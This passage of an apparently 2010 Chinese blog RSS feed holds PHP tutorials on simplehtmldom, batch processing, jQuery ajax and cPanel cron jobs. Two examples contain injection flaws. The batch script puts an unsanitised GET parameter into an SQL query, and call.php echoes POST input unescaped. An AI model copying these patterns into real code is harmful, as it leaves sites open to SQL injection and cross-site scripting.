<p><span style="color: #800000;">原创文章 转载请注明出处: <a href="../">登高望远</a> [</span><a href="http://www.dengor.com/archives/809.html" target="_self">http://www.dengor.com/archives/809.html</a><span style="color: #800000;">]</span></p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1041.html" title="Google的企业套件停用移除.CN">Google的企业套件停用移除.CN</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/980.html" title="[转]Google的十大真理">[转]Google的十大真理</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/809.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP处理html简单好工具-simplehtmldom</title>
		<link>http://www.dengor.com/archives/798.html</link>
		<comments>http://www.dengor.com/archives/798.html#comments</comments>
		<pubDate>Mon, 07 Jun 2010 08:19:17 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[dom]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[处理]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=798</guid>
		<description><![CDATA[php方面, 网络有很多成熟易用的DOM处理工具, 对比了好几个,  一般都是通过DOM选择器来定位要处理的内容. 也都可以选择标签属性, 如果你还在用PHP的原始函数来处理html吗, 那就太落后了. 这些dom处理工具比自己用PHP函数来处理不知道要高效果多少倍. 这里介绍一下比较简单易用的dom处理工具 -  simplehtmldom.  主要是它小巧, 一个文件就行, 易用, 你很快就可以明白如何使用. 如果你只是简单处理html, 或者做一些提取hmtl内容的工作, 这个完全够用. simplehtmldom官方主页,  你可以点击这里下载 第一步: 就是要加载simplehtmldom的类. 它提供3种加载方法,  一种是直接字串, 一种是提供URL, 还有一种就是加载html文件. // Create a DOM object from a string $html = str_get_html(&#8216;&#60;html&#62;&#60;body&#62;Hello!&#60;/body&#62;&#60;/html&#62;&#8217;);// Create a DOM object from a URL $html = file_get_html(&#8216;http://www.google.com/&#8217;); // Create a DOM object from a HTML [...]]]></description>
			<content:encoded><![CDATA[<p>php方面, 网络有很多成熟易用的<strong>DOM处理工具</strong>, 对比了好几个,  一般都是通过DOM选择器来定位要处理的内容. 也都可以选择标签属性, 如果你还在用PHP的原始函数来<strong>处理html</strong>吗, 那就太落后了. 这些dom处理工具比自己用PHP函数来处理不知道要高效果多少倍.</p>
<p>这里介绍一下比较简单易用的dom处理工具 -  simplehtmldom.  主要是它小巧, 一个文件就行, 易用, 你很快就可以明白<strong>如何使用</strong>. 如果你只是简单处理html, 或者做一些<strong>提取hmtl</strong>内容的工作, 这个完全够用.</p>
<p><span id="more-798"></span><a href="http://simplehtmldom.sourceforge.net/" target="_self">simplehtmldom官方主页</a>,  你可以<a href="http://sourceforge.net/project/showfiles.php?group_id=218559" target="_self">点击这里下载</a></p>
<p>第一步: 就是要加载simplehtmldom的类. 它提供3种加载方法,  一种是直接字串, 一种是提供URL, 还有一种就是加载html文件.</p>
<blockquote>
<div id="frag_create_quick" style="display: block;">
<div><span>// Create a DOM object  from a string</span><br />
$html = <strong>str_get_html</strong>(<span>&#8216;&lt;html&gt;&lt;body&gt;Hello!&lt;/body&gt;&lt;/html&gt;&#8217;</span>);<span>// Create a DOM object from a URL</span><br />
$html = <strong>file_get_html</strong>(<span>&#8216;http://www.google.com/&#8217;</span>);</p>
<p><span>// Create a DOM object from a HTML file</span><br />
$html = <strong>file_get_html</strong>(<span>&#8216;test.htm&#8217;</span>);<span><br />
</span></div>
</div>
</blockquote>
<p>加载类以后就可以处理html了.  如果要选择特定的标签可ID标签, 只要使用Find方法就可以了.</p>
<blockquote><p><span>// Find all <strong>anchors</strong>, returns a <strong>array</strong> of element objects</span><br />
$ret = $html-&gt;find(<span>&#8216;<strong>a</strong>&#8216;</span>);</p>
<p><span>// Find <strong>(N)th</strong> <strong>anchor</strong>,  returns element object or <strong>null</strong> if not found</span> <span>(zero based)</span><br />
$ret = $html-&gt;find(<span>&#8216;<strong>a</strong>&#8216;, <strong>0</strong></span>);</p>
<p><span>// Find <strong>lastest</strong> <strong>anchor</strong>,  returns element object or <strong>null</strong> if not found</span> <span>(zero based)</span><br />
$ret = $html-&gt;find(<span>&#8216;<strong>a</strong>&#8216;, <strong>-1</strong></span>);</p>
<p><span>// Find all <strong>&lt;div&gt;</strong> with the <strong>id</strong> attribute</span><br />
$ret = $html-&gt;find(<span>&#8216;<strong>div[id]</strong>&#8216;</span>);</p>
<p><span>// Find all <strong>&lt;div&gt;</strong> which attribute <strong>id=foo</strong></span><br />
$ret = $html-&gt;find(<span>&#8216;<strong>div[id=foo]</strong>&#8216;</span>);</p></blockquote>
<p>这里选择以后, $ret还是一对象, 要通过foreach才能得到内容.</p>
<blockquote><p>// find all div tags with id=gbar<br />
foreach($html-&gt;find(&#8216;div#gbar&#8217;) as $e)<br />
echo $e-&gt;innertext . &#8216;&lt;br&gt;&#8217;;</p>
<p>// find all span tags with<br />
foreach($html-&gt;find(&#8216;span.gb1&#8242;) as $e)<br />
echo $e-&gt;outertext . &#8216;&lt;br&gt;&#8217;;</p></blockquote>
<p>上面的代码差不多就能明白<strong>simplehtmldom</strong>的主要功能了.  div#gbar就是选择ID为gbar的DIV标签,  span.gb1就是选择CSS类为gb1的span, outertext和innertext就是取得标签的文本内容, 区别是outertext会包含标签本身.</p>
<p>还有选择标签属性, 更改属性, 保存内容等, 可以看下官方的教程.</p>
<p>还有一些功能更强大的html处理工具, 如<a href="http://code.google.com/p/phpquery/" target="_self">phpQuery</a>, 有像jQuery一样强大的dom处理能力, 但使用没有那么容易上手,有兴趣的朋友可以去了解一下.</p>
<p><span style="color: #a52a2a;">原创文章 转载请注明出处: <a href="../">登高望远</a> [ </span><a href="http://www.dengor.com/archives/798.html"><span id="sample-permalink">http://www.dengor.com/archives/</span><span id="sample-permalink">798.html</span></a><span> ]</span></p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li><li><a href="http://www.dengor.com/archives/763.html" title="Jquery使用php进行ajax调用例子">Jquery使用php进行ajax调用例子</a></li><li><a href="http://www.dengor.com/archives/449.html" title="Cpanel中的cron定时执行任务使用方法">Cpanel中的cron定时执行任务使用方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/798.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php运行超时分步执行的简单方法</title>
		<link>http://www.dengor.com/archives/789.html</link>
		<comments>http://www.dengor.com/archives/789.html#comments</comments>
		<pubDate>Mon, 24 May 2010 02:23:59 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[分步]]></category>
		<category><![CDATA[超时]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=789</guid>
		<description><![CDATA[用PHP处理大量的数据时, 因为PHP对脚本运行时间是有限制的, 一般是30秒, 超过了30秒会运行超时, 在php.ini中可以修改设置. 也可以用set_time_limit(0)设置, 0表示不限时间.   这种方法对于时间不是太长还好, 如果运行时间要几个小时, 这对服务器是一个很大的负担, 并且你不知道程序运行情况如何. 于是, 想到可以把PHP执行进行分步, 一次只执行处理几条数据.  再处理下一步的数据. 下面是一个例子. 有10000条数据, 要修改其中某些数据,  运用PHP分步执行处理, 代码如下: action.php &#60;?php $stid = isset($_GET['stid'])?$_GET['stid']:0; $endid = $stid + 100; $maxid = 10000; function dosomething(){ //要时间比较多的操作 &#8230;&#8230; } $sql_string=&#8221;select *  from `table`  where id&#62;&#8217;$stid&#8217; and id&#60;=&#8217;$endid&#8217; order by id&#8221;; $datas = getdata_bysql($sql_string); foreach($datas as $data){ [...]]]></description>
			<content:encoded><![CDATA[<p>用PHP处理<strong>大量的数据</strong>时, 因为PHP对脚本运行时间是有限制的, 一般是30秒, 超过了30秒会<strong>运行超时</strong>, 在php.ini中可以修改设置. 也可以用set_time_limit(0)设置, 0表示不限时间.   这种方法对于时间不是太长还好, 如果运行时间要几个小时,  这对服务器是一个很大的负担, 并且你不知道程序运行情况如何.</p>
<p>于是, 想到可以把PHP<strong>执行进行分步</strong>, 一次只执行处理几条数据.  再处理下一步的数据.</p>
<p><span id="more-789"></span></p>
<p>下面是一个例子. 有10000条数据, 要修改其中某些数据,  运用<strong>PHP分步执</strong>行处理, 代码如下:</p>
<p>action.php</p>
<blockquote><p>&lt;?php<br />
$stid = isset($_GET['stid'])?$_GET['stid']:0;<br />
$endid = $stid + 100;<br />
$maxid = 10000;</p>
<p>function dosomething(){<br />
//要时间比较多的操作<br />
&#8230;&#8230;<br />
}<br />
$sql_string=&#8221;select *  from `table`  where id&gt;&#8217;$stid&#8217; and id&lt;=&#8217;$endid&#8217; order by id&#8221;;<br />
$datas = getdata_bysql($sql_string);<br />
foreach($datas as $data){<br />
//处理数据<br />
&#8230;..<br />
echo $id.&#8221; 处理完成. &lt;br /&gt;&#8221;;<br />
if($id&gt;=$maxid){exit;}<br />
}<br />
if($stid&lt;=$maxid){<br />
$stid = $stid + 100;<br />
$url=&#8221;action.php?stid=$stid&#8221;;<br />
echo $url;<br />
echo &#8216;&lt;script language=&#8221;javascript&#8221;&gt;location=&#8221;&#8216;.$url.&#8217;&#8221;; &lt;/script&gt;&#8217;;<br />
}<br />
?&gt;</p></blockquote>
<p>其中的dosomething()是一个耗时操作.  这里我们通过限制id范围来减少运行时间,   运行完后通过javascript的跳转来自动运行下一步.</p>
<p>这样, 每处理一批数据就可以知道结果, 如果中断也知道问题出在那里.</p>
<p><span style="color: #a52a2a;">原创文章 转载请注明出处: <a href="../">登高望远</a> [ </span><a href="http://www.dengor.com/archives/789.html"><span id="sample-permalink">http://www.dengor.com/archives/789.html</span></a><span> ]</span></p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/763.html" title="Jquery使用php进行ajax调用例子">Jquery使用php进行ajax调用例子</a></li><li><a href="http://www.dengor.com/archives/449.html" title="Cpanel中的cron定时执行任务使用方法">Cpanel中的cron定时执行任务使用方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/789.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Jquery使用php进行ajax调用例子</title>
		<link>http://www.dengor.com/archives/763.html</link>
		<comments>http://www.dengor.com/archives/763.html#comments</comments>
		<pubDate>Sat, 10 Apr 2010 07:04:24 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=763</guid>
		<description><![CDATA[使用Jaquery结合php可以很方便实现ajax调用。 下面是一个例子： HTML代码： &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#60;html&#62; &#60;head&#62; &#60;title&#62; TEST &#60;/title&#62; &#60;meta name=&#8221;generator&#8221; content=&#8221;editplus&#8221; /&#62; &#60;meta name=&#8221;author&#8221; content=&#8221;" /&#62; &#60;meta name=&#8221;keywords&#8221; content=&#8221;" /&#62; &#60;meta name=&#8221;description&#8221; content=&#8221;" /&#62; &#60;script type=&#8221;text/javascript&#8221; src=&#8221;jquery-1.2.6.pack.js&#8221;&#62;&#60;/script&#62; &#60;script type=&#8221;text/javascript&#8221;&#62; &#60;!&#8211; $(document).ready( function () { $(&#8216;#btn&#8217;).click ( function () { $.ajax({ url: &#8216;http://localhost/call.php&#8217;, type: &#8216;POST&#8217;, data:&#8217;name=&#8217;+$(&#8216;#name&#8217;).val(), dataType: &#8216;html&#8217;, timeout: 1000, error: function(){ alert(&#8216;Error loading XML [...]]]></description>
			<content:encoded><![CDATA[<div id="blog_text">
<p>使用Jaquery结合php可以很方便实现ajax调用。 下面是一个例子：</p>
<p>HTML代码：<span id="more-763"></span></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<blockquote><p>&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt; TEST &lt;/title&gt;<br />
&lt;meta name=&#8221;generator&#8221; content=&#8221;editplus&#8221; /&gt;<br />
&lt;meta name=&#8221;author&#8221; content=&#8221;" /&gt;<br />
&lt;meta name=&#8221;keywords&#8221; content=&#8221;" /&gt;<br />
&lt;meta name=&#8221;description&#8221; content=&#8221;" /&gt;<br />
&lt;script type=&#8221;text/javascript&#8221;  src=&#8221;jquery-1.2.6.pack.js&#8221;&gt;&lt;/script&gt;<br />
&lt;script type=&#8221;text/javascript&#8221;&gt;<br />
&lt;!&#8211;<br />
$(document).ready( function () {<br />
$(&#8216;#btn&#8217;).click ( function () {<br />
$.ajax({<br />
url: &#8216;http://localhost/call.php&#8217;,<br />
type: &#8216;POST&#8217;,<br />
data:&#8217;name=&#8217;+$(&#8216;#name&#8217;).val(),<br />
dataType: &#8216;html&#8217;,<br />
timeout: 1000,<br />
error: function(){<br />
alert(&#8216;Error loading XML document&#8217;);<br />
},<br />
success: function(html){<br />
$(&#8216;#text&#8217;).html(html);<br />
}<br />
});<br />
});<br />
})<br />
//&#8211;&gt;<br />
&lt;/script&gt;<br />
&lt;/head&gt;&lt;body&gt;<br />
&lt;div id=&#8221;text&#8221;&gt;&lt;/div&gt;<br />
&lt;input type=&#8221;text&#8221; id=&#8221;name&#8221; name=&#8221;name&#8221; /&gt;<br />
&lt;input type=&#8221;button&#8221; value=&#8221;DO IT .&#8221; id=&#8221;btn&#8221;/&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</p></blockquote>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>call.php代码</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<blockquote><p>&lt;?php<br />
$name = $_POST['name'];<br />
echo &#8220;you say : &#8220;.$name;</p>
<p>?&gt;</p></blockquote>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p></div>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1162.html" title="使用PHP的header函数修改网页的输出编码">使用PHP的header函数修改网页的输出编码</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/903.html" title="修改PHP运行内存memory大小的几种方法">修改PHP运行内存memory大小的几种方法</a></li><li><a href="http://www.dengor.com/archives/855.html" title="PHP即时输出内容">PHP即时输出内容</a></li><li><a href="http://www.dengor.com/archives/809.html" title="分享一个PHP的google翻译接口GTranslate">分享一个PHP的google翻译接口GTranslate</a></li><li><a href="http://www.dengor.com/archives/798.html" title="PHP处理html简单好工具-simplehtmldom">PHP处理html简单好工具-simplehtmldom</a></li><li><a href="http://www.dengor.com/archives/789.html" title="php运行超时分步执行的简单方法">php运行超时分步执行的简单方法</a></li><li><a href="http://www.dengor.com/archives/449.html" title="Cpanel中的cron定时执行任务使用方法">Cpanel中的cron定时执行任务使用方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/763.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cpanel中的cron定时执行任务使用方法</title>
		<link>http://www.dengor.com/archives/449.html</link>
		<comments>http://www.dengor.com/archives/449.html#comments</comments>
		<pubDate>Mon, 14 Dec 2009 08:09:30 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[软件系统]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=449</guid>
		<description><![CDATA[&#160;&#160; 如果你的主机是使用Cpanel, 其中有一个叫&#34;时钟守护作业&#34; 的管理器. 就是Cron&#160; job, 可以很方便的进行定时执行某项任务. 初次使用会有很多不清楚的地方,&#160; 先输入你的email,这样每次命令执行后都会发邮件通知你。 前面5个框填时间： 如果全部输入*，即*****，代表每分钟执行一次命令， 如果是默认的00***，代表每天执行一次命令。 然后在cmmmand里面输入命令即可。登高望远 如执行一个php程序可以这样写:&#160; /ramdisk/bin/php5 -q /home/USERNAME/public_html/TASK.php USNAME 是用户名, TASK.php是要执行的php程序.&#160; 其实就是PHP文件的实际路径. &#160; 下面是转cron的使用基本语法. 转自：http://blog.csdn.net/bakeloar/archive/2008/05/12/2435934.aspx Cron 是UNIX, SOLARIS，LINUX下的一个十分有用的工具。 通过Ｃron脚本能使计划任务定期地在系统后台自动运行。这种计划任务在UNIX, SOLARIS, LINUX下术语为cron jobs。 Crontab (CRON 表)则是用来记录在特定时间运行的CRON的一个脚本文件。 Crontab归结为以下几点特性： 1.&#160;&#160;&#160;&#160;&#160; Crontab约束 2.&#160;&#160;&#160;&#160;&#160;&#160; Crontab命令 3.&#160;&#160;&#160;&#160;&#160;&#160; Crontab文件语法 4.&#160;&#160;&#160;&#160;&#160;&#160; Crontab示例 5.&#160;&#160;&#160;&#160;&#160;&#160; Crontab环境设置 6.&#160;&#160;&#160;&#160;&#160; 邮件 7.&#160;&#160;&#160;&#160;&#160; 日志文件 8.&#160;&#160;&#160;&#160;&#160; 其它 1.&#160;&#160;&#160;&#160;&#160; Crontab约束 当用户名记录在文件/usr/lib/cron/cron.allow时，该用户的crontab有效。当/usr/lib/cron /cron.allow [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp; 如果你的主机是使用Cpanel, 其中有一个叫&quot;时钟守护作业&quot; 的管理器. 就是Cron&nbsp; job, 可以很方便的进行定时执行某项任务. 初次使用会有很多不清楚的地方,&nbsp;</p>
<p><span id="more-449"></span>先输入你的email,这样每次命令执行后都会发邮件通知你。<br />
	前面5个框填时间：<br />
	如果全部输入*，即*****，代表每分钟执行一次命令，<br />
	如果是默认的00***，代表每天执行一次命令。<br />
	然后在cmmmand里面输入命令即可。<a class="white" href="http://www.dengor.com/">登高望远</a></p>
<p>如执行一个php程序可以这样写:&nbsp;</p>
<p><span style="color: rgb(0, 0, 128);">/ramdisk/bin/php5 -q /home/USERNAME/public_html/TASK.php<br />
	</span></p>
<p>USNAME 是用户名, TASK.php是要执行的php程序.&nbsp; 其实就是PHP文件的实际路径.</p>
<p>&nbsp;</p>
<p><strong>下面是转cron的使用基本语法.</strong></p>
<p>转自：http://blog.csdn.net/bakeloar/archive/2008/05/12/2435934.aspx</p>
<p>Cron 是UNIX, SOLARIS，LINUX下的一个十分有用的工具。 通过Ｃron脚本能使计划任务定期地在系统后台自动运行。这种计划任务在UNIX, SOLARIS, LINUX下术语为cron jobs。 Crontab (CRON 表)则是用来记录在特定时间运行的CRON的一个脚本文件。</p>
<p>Crontab归结为以下几点特性：</p>
<p><span style="font-weight: bold;"><span style="font-weight: bold;">1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Crontab约束</span></span></p>
<p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Crontab命令</p>
<p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Crontab文件语法</p>
<p>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Crontab示例</p>
<p>5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Crontab环境设置</p>
<p>6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 邮件</p>
<p>7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 日志文件</p>
<p>8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其它</p>
<p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Crontab约束</p>
<p>当用户名记录在文件/usr/lib/cron/cron.allow时，该用户的crontab有效。当/usr/lib/cron /cron.allow 文件不存在时，用户名没被记录在/usr/lib/cron/cron.deny文件中，该用户的crontab也有效。当只存在/usr/lib /cron/cron.deny且为空时，所有的用户都可使用crontab。当前两个文件都不存在时，只有root用户可以使用crontab。 Deny或allow记录以每行一个用户名的形式记录信息。</p>
<p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Crontab 命令</p>
<p>export EDITOR=vi ;为crontab文件指定一个编辑器。　</p>
<p>crontab &nbsp;-e&nbsp;　编辑该用户的crontab，当指定crontab &nbsp;不存在时新建。&nbsp;　</p>
<p>crontab &nbsp;-l&nbsp;　列出该用户的crontab。&nbsp;　</p>
<p>crontab &nbsp;-r&nbsp;　删除该用户的crontab。&nbsp;　</p>
<p>crontab &nbsp;-u&lt;用户名称&gt;&nbsp;　指定要设定crontab的用户名称。</p>
<p>crontab &ndash;v 显示上一次编辑的时间（只在某些操作系统上可用）</p>
<p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Crontab 文件</p>
<p>Crontab语法一个crontab文件用五个段来定义：天，日期和时间，和一个要定期执行的命令代码。</p>
<p>&nbsp;</p>
<table border="0" cellpadding="0" cellspacing="0" class="MsoNormalTable" style="background: rgb(219, 219, 219) none repeat scroll 0% 0%; width: 79%; border-collapse: collapse; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="79%">
<tbody>
<tr>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; width: 100%; background-color: transparent;" width="100%">
<p align="left" class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;"><span lang="EN-US" style="font-size: 12pt;"><span style="font-family: Times New Roman;">*&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp; *&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp; *&nbsp; command to be executed<br />
					-&nbsp;&nbsp;&nbsp;&nbsp; -&nbsp;&nbsp;&nbsp; -&nbsp;&nbsp;&nbsp; -&nbsp;&nbsp;&nbsp; -<br />
					|&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; |<br />
					|&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; +&mdash;&ndash; day of week (0 &ndash; 6) (Sunday=0)<br />
					|&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; +&mdash;&mdash;- month (1 &ndash; 12)<br />
					|&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; +&mdash;&mdash;&mdash; day of month (1 &ndash; 31)<br />
					|&nbsp;&nbsp;&nbsp;&nbsp; +&mdash;&mdash;&mdash;&ndash; hour (0 &ndash; 23)<br />
					+&mdash;&mdash;&mdash;&mdash;- min (0 &ndash; 59)<br />
					&nbsp;</span></span></p>
</td>
</tr>
</tbody>
</table>
<p>所有的值都必须在相应的范围之内，否则视为无效。在填值区域内可以是*也可以是以&rdquo;，&rdquo;分隔的一组值。值可以是一个数据也可以是用连接符连起来的两个数(表示范围)。注：日期的格式可以是星期，也可以是一个月中的天。假如两个都有值，则在这两个时间都会执行。</p>
<p>4. Crontab 实例&nbsp;</p>
<p>下面是crontab文件中的一行，意思是在每天下午6:30中删除临时文件(临时文件存放在/home/someuser/tmp)。 30&nbsp;&nbsp;&nbsp;&nbsp; 18&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rm /home/someuser/tmp/*</p>
<p>以下我们改变参数的值使其在不同的时间运行：如下表</p>
<p>&nbsp;</p>
<table border="1" cellpadding="0" cellspacing="0" class="MsoNormalTable" style="width: 100%;" width="100%">
<tbody>
<tr style="height: 9.75pt;">
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: gray none repeat scroll 0% 0%; width: 8%; height: 9.75pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="8%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 9.75pt; text-align: center;"><span lang="EN-US" style="font-size: 7.5pt; color: white; font-family: Verdana;">min</span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: gray none repeat scroll 0% 0%; width: 9%; height: 9.75pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 9.75pt; text-align: center;"><span lang="EN-US" style="font-size: 7.5pt; color: white; font-family: Verdana;">hour</span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: gray none repeat scroll 0% 0%; width: 9%; height: 9.75pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="9%">
<p align="center" class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 9.75pt; text-align: center;"><span lang="EN-US" style="font-size: 7.5pt; color: white; font-family: Verdana;">day/month</span></p>
</td>
<td style="border-color: rgb(242, 242, 242); padding: 0cm; background: gray none repeat scroll 0% 0%; width: 13%; height: 9.75pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="13%">
